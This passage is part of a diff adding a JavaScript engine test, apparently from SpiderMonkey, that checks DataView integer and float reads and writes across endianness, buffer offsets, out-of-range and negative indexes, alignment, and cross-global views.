+ view.setFloat32(7, 1.2300000190734863, false);
+ assertEq(view.getFloat32(7, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, 1.2300000190734863, false);
+ assertEq(view.getFloat32(10, false), 1.2300000190734863);
+
+ // testFloatSet expected=-45621.37109375
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, -45621.37109375, true);
+ assertEq(view.getFloat32(0, true), -45621.37109375);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, -45621.37109375, true);
+ assertEq(view.getFloat32(3, true), -45621.37109375);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, -45621.37109375, true);
+ assertEq(view.getFloat32(7, true), -45621.37109375);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, -45621.37109375, true);
+ assertEq(view.getFloat32(10, true), -45621.37109375);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, -45621.37109375, false);
+ assertEq(view.getFloat32(0, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, -45621.37109375, false);
+ assertEq(view.getFloat32(3, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, -45621.37109375, false);
+ assertEq(view.getFloat32(7, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, -45621.37109375, false);
+ assertEq(view.getFloat32(10, false), -45621.37109375);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, NaN, true);
+ assertEq(view.getFloat32(0, true), NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, NaN, true);
+ assertEq(view.getFloat32(3, true), NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, NaN, true);
+ assertEq(view.getFloat32(7, true), NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, NaN, true);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, NaN, false);
+ assertEq(view.getFloat32(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, NaN, false);
+ assertEq(view.getFloat32(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, NaN, false);
+ assertEq(view.getFloat32(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, NaN, false);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, -NaN, true);
+ assertEq(view.getFloat32(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, -NaN, true);
+ assertEq(view.getFloat32(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, -NaN, true);
+ assertEq(view.getFloat32(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, -NaN, true);
+ assertEq(view.getFloat32(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, -NaN, false);
+ assertEq(view.getFloat32(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, -NaN, false);
+ assertEq(view.getFloat32(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, -NaN, false);
+ assertEq(view.getFloat32(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, -NaN, false);
+ assertEq(view.getFloat32(10, false), -NaN);
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, 10, true);
+ assertEq(view.getFloat64(0, true), 10);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, 10, true);
+ assertEq(view.getFloat64(3, true), 10);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, 10, true);
+ assertEq(view.getFloat64(7, true), 10);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, 10, true);
+ assertEq(view.getFloat64(10, true), 10);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, 10, false);
+ assertEq(view.getFloat64(0, false), 10);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, 10, false);
+ assertEq(view.getFloat64(3, false), 10);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, 10, false);
+ assertEq(view.getFloat64(7, false), 10);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, 10, false);
+ assertEq(view.getFloat64(10, false), 10);
+
+ // testFloatSet expected=1.23
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, 1.23, true);
+ assertEq(view.getFloat64(0, true), 1.23);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, 1.23, true);
+ assertEq(view.getFloat64(3, true), 1.23);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, 1.23, true);
+ assertEq(view.getFloat64(7, true), 1.23);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, 1.23, true);
+ assertEq(view.getFloat64(10, true), 1.23);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, 1.23, false);
+ assertEq(view.getFloat64(0, false), 1.23);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, 1.23, false);
+ assertEq(view.getFloat64(3, false), 1.23);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, 1.23, false);
+ assertEq(view.getFloat64(7, false), 1.23);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, 1.23, false);
+ assertEq(view.getFloat64(10, false), 1.23);
+
+ // testFloatSet expected=-6213576.4839
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, -6213576.4839, true);
+ assertEq(view.getFloat64(0, true), -6213576.4839);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, -6213576.4839, true);
+ assertEq(view.getFloat64(3, true), -6213576.4839);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, -6213576.4839, true);
+ assertEq(view.getFloat64(7, true), -6213576.4839);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, -6213576.4839, true);
+ assertEq(view.getFloat64(10, true), -6213576.4839);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, -6213576.4839, false);
+ assertEq(view.getFloat64(0, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, -6213576.4839, false);
+ assertEq(view.getFloat64(3, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, -6213576.4839, false);
+ assertEq(view.getFloat64(7, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, -6213576.4839, false);
+ assertEq(view.getFloat64(10, false), -6213576.4839);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, NaN, true);
+ assertEq(view.getFloat64(0, true), NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, NaN, true);
+ assertEq(view.getFloat64(3, true), NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, NaN, true);
+ assertEq(view.getFloat64(7, true), NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, NaN, true);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, NaN, false);
+ assertEq(view.getFloat64(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, NaN, false);
+ assertEq(view.getFloat64(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, NaN, false);
+ assertEq(view.getFloat64(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, NaN, false);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, -NaN, true);
+ assertEq(view.getFloat64(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, -NaN, true);
+ assertEq(view.getFloat64(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, -NaN, true);
+ assertEq(view.getFloat64(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, -NaN, true);
+ assertEq(view.getFloat64(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, -NaN, false);
+ assertEq(view.getFloat64(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, -NaN, false);
+ assertEq(view.getFloat64(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, -NaN, false);
+ assertEq(view.getFloat64(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, -NaN, false);
+ assertEq(view.getFloat64(10, false), -NaN);
+
+ // Test for set methods that might write beyond the range
+
+ // testIntegerSets(start=3, length=2)
+ view = new DataView(buffer13, 3, 2);
+ view.setInt8(0, 0);
+ assertEq(view.getInt8(0), 0);
+ checkThrow(() => view.setInt8(8, -128), RangeError);
+ checkThrow(() => view.setInt8(15, -1), RangeError);
+ view.setUint8(0, 0);
+ assertEq(view.getUint8(0), 0);
+ checkThrow(() => view.setUint8(8, 128), RangeError);
+ checkThrow(() => view.setUint8(15, 255), RangeError);
+ view.setInt16(0, 256, true);
+ assertEq(view.getInt16(0, true), 256);
+ checkThrow(() => view.setInt16(5, 26213, true), RangeError);
+ checkThrow(() => view.setInt16(9, -32127, true), RangeError);
+ checkThrow(() => view.setInt16(14, -2, true), RangeError);
+ view.setInt16(0, 1);
+ assertEq(view.getInt16(0), 1);
+ checkThrow(() => view.setInt16(5, 25958), RangeError);
+ checkThrow(() => view.setInt16(9, -32382), RangeError);
+ checkThrow(() => view.setInt16(14, -257), RangeError);
+ view.setUint16(0, 256, true);
+ assertEq(view.getUint16(0, true), 256);
+ checkThrow(() => view.setUint16(5, 26213, true), RangeError);
+ checkThrow(() => view.setUint16(9, 33409, true), RangeError);
+ checkThrow(() => view.setUint16(14, 65534, true), RangeError);
+ view.setUint16(0, 1);
+ assertEq(view.getUint16(0), 1);
+ checkThrow(() => view.setUint16(5, 25958), RangeError);
+ checkThrow(() => view.setUint16(9, 33154), RangeError);
+ checkThrow(() => view.setUint16(14, 65279), RangeError);
+ checkThrow(() => view.setInt32(0, 50462976, true), RangeError);
+ checkThrow(() => view.setInt32(3, 1717920771, true), RangeError);
+ checkThrow(() => view.setInt32(6, -2122291354, true), RangeError);
+ checkThrow(() => view.setInt32(9, -58490239, true), RangeError);
+ checkThrow(() => view.setInt32(12, -66052, true), RangeError);
+ checkThrow(() => view.setInt32(0, 66051), RangeError);
+ checkThrow(() => view.setInt32(3, 56911206), RangeError);
+ checkThrow(() => view.setInt32(6, 1718059137), RangeError);
+ checkThrow(() => view.setInt32(9, -2122152964), RangeError);
+ checkThrow(() => view.setInt32(12, -50462977), RangeError);
+ checkThrow(() => view.setUint32(0, 50462976, true), RangeError);
+ checkThrow(() => view.setUint32(3, 1717920771, true), RangeError);
+ checkThrow(() => view.setUint32(6, 2172675942, true), RangeError);
+ checkThrow(() => view.setUint32(9, 4236477057, true), RangeError);
+ checkThrow(() => view.setUint32(12, 4294901244, true), RangeError);
+ checkThrow(() => view.setUint32(0, 66051), RangeError);
+ checkThrow(() => view.setUint32(3, 56911206), RangeError);
+ checkThrow(() => view.setUint32(6, 1718059137), RangeError);
+ checkThrow(() => view.setUint32(9, 2172814332), RangeError);
+ checkThrow(() => view.setUint32(12, 4244504319), RangeError);
+
+ // testFloatSets(start=7)
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, 10, true);
+ assertEq(view.getFloat32(0, true), 10);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, 10, true);
+ assertEq(view.getFloat32(3, true), 10);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, 10, true);
+ assertEq(view.getFloat32(7, true), 10);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, 10, true);
+ assertEq(view.getFloat32(10, true), 10);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, 10, false);
+ assertEq(view.getFloat32(0, false), 10);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, 10, false);
+ assertEq(view.getFloat32(3, false), 10);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, 10, false);
+ assertEq(view.getFloat32(7, false), 10);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, 10, false);
+ assertEq(view.getFloat32(10, false), 10);
+
+ // testFloatSet expected=1.2300000190734863
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, 1.2300000190734863, true);
+ assertEq(view.getFloat32(0, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, 1.2300000190734863, true);
+ assertEq(view.getFloat32(3, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, 1.2300000190734863, true);
+ assertEq(view.getFloat32(7, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, 1.2300000190734863, true);
+ assertEq(view.getFloat32(10, true), 1.2300000190734863);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, 1.2300000190734863, false);
+ assertEq(view.getFloat32(0, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, 1.2300000190734863, false);
+ assertEq(view.getFloat32(3, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, 1.2300000190734863, false);
+ assertEq(view.getFloat32(7, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, 1.2300000190734863, false);
+ assertEq(view.getFloat32(10, false), 1.2300000190734863);
+
+ // testFloatSet expected=-45621.37109375
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, -45621.37109375, true);
+ assertEq(view.getFloat32(0, true), -45621.37109375);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, -45621.37109375, true);
+ assertEq(view.getFloat32(3, true), -45621.37109375);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, -45621.37109375, true);
+ assertEq(view.getFloat32(7, true), -45621.37109375);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, -45621.37109375, true);
+ assertEq(view.getFloat32(10, true), -45621.37109375);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, -45621.37109375, false);
+ assertEq(view.getFloat32(0, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, -45621.37109375, false);
+ assertEq(view.getFloat32(3, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, -45621.37109375, false);
+ assertEq(view.getFloat32(7, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, -45621.37109375, false);
+ assertEq(view.getFloat32(10, false), -45621.37109375);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, NaN, true);
+ assertEq(view.getFloat32(0, true), NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, NaN, true);
+ assertEq(view.getFloat32(3, true), NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, NaN, true);
+ assertEq(view.getFloat32(7, true), NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, NaN, true);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, NaN, false);
+ assertEq(view.getFloat32(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, NaN, false);
+ assertEq(view.getFloat32(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, NaN, false);
+ assertEq(view.getFloat32(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, NaN, false);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, -NaN, true);
+ assertEq(view.getFloat32(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, -NaN, true);
+ assertEq(view.getFloat32(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, -NaN, true);
+ assertEq(view.getFloat32(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, -NaN, true);
+ assertEq(view.getFloat32(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, -NaN, false);
+ assertEq(view.getFloat32(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, -NaN, false);
+ assertEq(view.getFloat32(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, -NaN, false);
+ assertEq(view.getFloat32(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, -NaN, false);
+ assertEq(view.getFloat32(10, false), -NaN);
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, 10, true);
+ assertEq(view.getFloat64(0, true), 10);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, 10, true);
+ assertEq(view.getFloat64(3, true), 10);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, 10, true);
+ assertEq(view.getFloat64(7, true), 10);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, 10, true);
+ assertEq(view.getFloat64(10, true), 10);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, 10, false);
+ assertEq(view.getFloat64(0, false), 10);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, 10, false);
+ assertEq(view.getFloat64(3, false), 10);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, 10, false);
+ assertEq(view.getFloat64(7, false), 10);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, 10, false);
+ assertEq(view.getFloat64(10, false), 10);
+
+ // testFloatSet expected=1.23
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, 1.23, true);
+ assertEq(view.getFloat64(0, true), 1.23);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, 1.23, true);
+ assertEq(view.getFloat64(3, true), 1.23);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, 1.23, true);
+ assertEq(view.getFloat64(7, true), 1.23);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, 1.23, true);
+ assertEq(view.getFloat64(10, true), 1.23);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, 1.23, false);
+ assertEq(view.getFloat64(0, false), 1.23);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, 1.23, false);
+ assertEq(view.getFloat64(3, false), 1.23);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, 1.23, false);
+ assertEq(view.getFloat64(7, false), 1.23);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, 1.23, false);
+ assertEq(view.getFloat64(10, false), 1.23);
+
+ // testFloatSet expected=-6213576.4839
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, -6213576.4839, true);
+ assertEq(view.getFloat64(0, true), -6213576.4839);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, -6213576.4839, true);
+ assertEq(view.getFloat64(3, true), -6213576.4839);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, -6213576.4839, true);
+ assertEq(view.getFloat64(7, true), -6213576.4839);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, -6213576.4839, true);
+ assertEq(view.getFloat64(10, true), -6213576.4839);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, -6213576.4839, false);
+ assertEq(view.getFloat64(0, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, -6213576.4839, false);
+ assertEq(view.getFloat64(3, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, -6213576.4839, false);
+ assertEq(view.getFloat64(7, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, -6213576.4839, false);
+ assertEq(view.getFloat64(10, false), -6213576.4839);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, NaN, true);
+ assertEq(view.getFloat64(0, true), NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, NaN, true);
+ assertEq(view.getFloat64(3, true), NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, NaN, true);
+ assertEq(view.getFloat64(7, true), NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, NaN, true);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, NaN, false);
+ assertEq(view.getFloat64(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, NaN, false);
+ assertEq(view.getFloat64(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, NaN, false);
+ assertEq(view.getFloat64(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, NaN, false);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, -NaN, true);
+ assertEq(view.getFloat64(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, -NaN, true);
+ assertEq(view.getFloat64(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, -NaN, true);
+ assertEq(view.getFloat64(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, -NaN, true);
+ assertEq(view.getFloat64(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, -NaN, false);
+ assertEq(view.getFloat64(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, -NaN, false);
+ assertEq(view.getFloat64(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, -NaN, false);
+ assertEq(view.getFloat64(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, -NaN, false);
+ assertEq(view.getFloat64(10, false), -NaN);
+
+ // Test for set methods that write to negative index
+
+ // testSetNegativeIndexes
+ view = new DataView(buffer1, 0, 16);
+ checkThrow(() => view.setInt8(-1, 0), RangeError);
+ checkThrow(() => view.setInt8(-2, 0), RangeError);
+ checkThrow(() => view.setUint8(-1, 0), RangeError);
+ checkThrow(() => view.setUint8(-2, 0), RangeError);
+ checkThrow(() => view.setInt16(-1, 0), RangeError);
+ checkThrow(() => view.setInt16(-2, 0), RangeError);
+ checkThrow(() => view.setInt16(-3, 0), RangeError);
+ checkThrow(() => view.setUint16(-1, 0), RangeError);
+ checkThrow(() => view.setUint16(-2, 0), RangeError);
+ checkThrow(() => view.setUint16(-3, 0), RangeError);
+ checkThrow(() => view.setInt32(-1, 0), RangeError);
+ checkThrow(() => view.setInt32(-3, 0), RangeError);
+ checkThrow(() => view.setInt32(-5, 0), RangeError);
+ checkThrow(() => view.setUint32(-1, 0), RangeError);
+ checkThrow(() => view.setUint32(-3, 0), RangeError);
+ checkThrow(() => view.setUint32(-5, 0), RangeError);
+ view = new DataView(buffer7, 0, 8);
+ checkThrow(() => view.setFloat32(-1, 0), RangeError);
+ checkThrow(() => view.setFloat32(-3, 0), RangeError);
+ checkThrow(() => view.setFloat32(-5, 0), RangeError);
+ checkThrow(() => view.setFloat64(-1, 0), RangeError);
+ checkThrow(() => view.setFloat64(-5, 0), RangeError);
+ checkThrow(() => view.setFloat64(-9, 0), RangeError);
+
+ // Too large for signed 32 bit integer index
+ checkThrow(() => view.setInt8(2147483649, 1), RangeError);
+ checkThrow(() => view.setUint8(2147483649, 1), RangeError);
+ checkThrow(() => view.setInt16(2147483649, 1), RangeError);
+ checkThrow(() => view.setUint16(2147483649, 1), RangeError);
+ checkThrow(() => view.setInt32(2147483649, 1), RangeError);
+ checkThrow(() => view.setUint32(2147483649, 1), RangeError);
+ checkThrow(() => view.setFloat32(2147483649, 1), RangeError);
+ checkThrow(() => view.setFloat64(2147483649, 1), RangeError);
+
+ // testAlignment
+ var intArray1 = [0, 1, 2, 3, 100, 101, 102, 103, 128, 129, 130, 131, 252, 253, 254, 255];
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 0);
+ assertEq(view.getUint32(0, false), 0x00010203);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 1);
+ assertEq(view.getUint32(0, false), 0x01020364);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 2);
+ assertEq(view.getUint32(0, false), 0x02036465);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 3);
+ assertEq(view.getUint32(0, false), 0x03646566);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 4);
+ assertEq(view.getUint32(0, false), 0x64656667);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 5);
+ assertEq(view.getUint32(0, false), 0x65666780);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 6);
+ assertEq(view.getUint32(0, false), 0x66678081);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 7);
+ assertEq(view.getUint32(0, false), 0x67808182);
+
+ // Test for indexing into a DataView, which should not use the ArrayBuffer storage
+ view = new DataView(bufferize(new Uint8Array([1, 2])));
+ assertEq(view[0], undefined);
+ view[0] = 3;
+ assertEq(view[0], 3);
+ assertEq(view.getUint8(0), 1);
+
+ // Test WebIDL-specific class and prototype class names
+ assertEq(Object.prototype.toString.apply(new Uint8Array(0)), "[object Uint8Array]");
+ assertEq(Object.prototype.toString.apply(new Float32Array(0)), "[object Float32Array]");
+ assertEq(Object.prototype.toString.apply(new ArrayBuffer()), "[object ArrayBuffer]");
+ assertEq(Object.prototype.toString.apply(new DataView(view.buffer)), "[object DataView]");
+ assertEq(Object.prototype.toString.apply(DataView.prototype), "[object DataView]");
+
+ // get %TypedArray%.prototype[@@toStringTag] returns undefined thus
+ // Object.prototype.toString falls back to [object Object]
+ assertEq(Object.prototype.toString.apply(Uint8Array.prototype), "[object Object]");
+ assertEq(Object.prototype.toString.apply(Float32Array.prototype), "[object Object]");
+ var typedArrayPrototype = Object.getPrototypeOf(Float32Array.prototype);
+ assertEq(Object.prototype.toString.apply(typedArrayPrototype), "[object Object]");
+
+ // Accessing DataView fields on DataView.prototype should crash
+ checkThrow(() => DataView.prototype.byteLength, TypeError);
+ checkThrow(() => DataView.prototype.byteOffset, TypeError);
+ checkThrow(() => DataView.prototype.buffer, TypeError);
+
+ // Protos and proxies, oh my!
+ var alien = newGlobal();
+ var alien_data = alien.eval('data = ' + JSON.stringify(data1));
+ var alien_buffer = alien.eval(`buffer = new ${sharedMem ? 'Shared' : ''}ArrayBuffer(data.length)`);
+ alien.eval('new Uint8Array(buffer).set(data)');
+ var alien_view = alien.eval('view = new DataView(buffer, 0, 16)');
+
+ // proto is view of buffer: should throw
+ var o = Object.create(view1);
+ checkThrow(() => o.getUint8(4), TypeError); // WebIDL 4.4.7: Operations
+ checkThrow(() => o.buffer, TypeError); // WebIDL 4.4.6: Attributes, section 2
+ checkThrow(() => o.byteOffset, TypeError);
+ checkThrow(() => o.byteLength, TypeError);
+
+ // proxy for view of buffer: should work
+ assertEq(alien_view.buffer.byteLength > 0, true);
+ assertEq(alien_view.getUint8(4), 100);
+
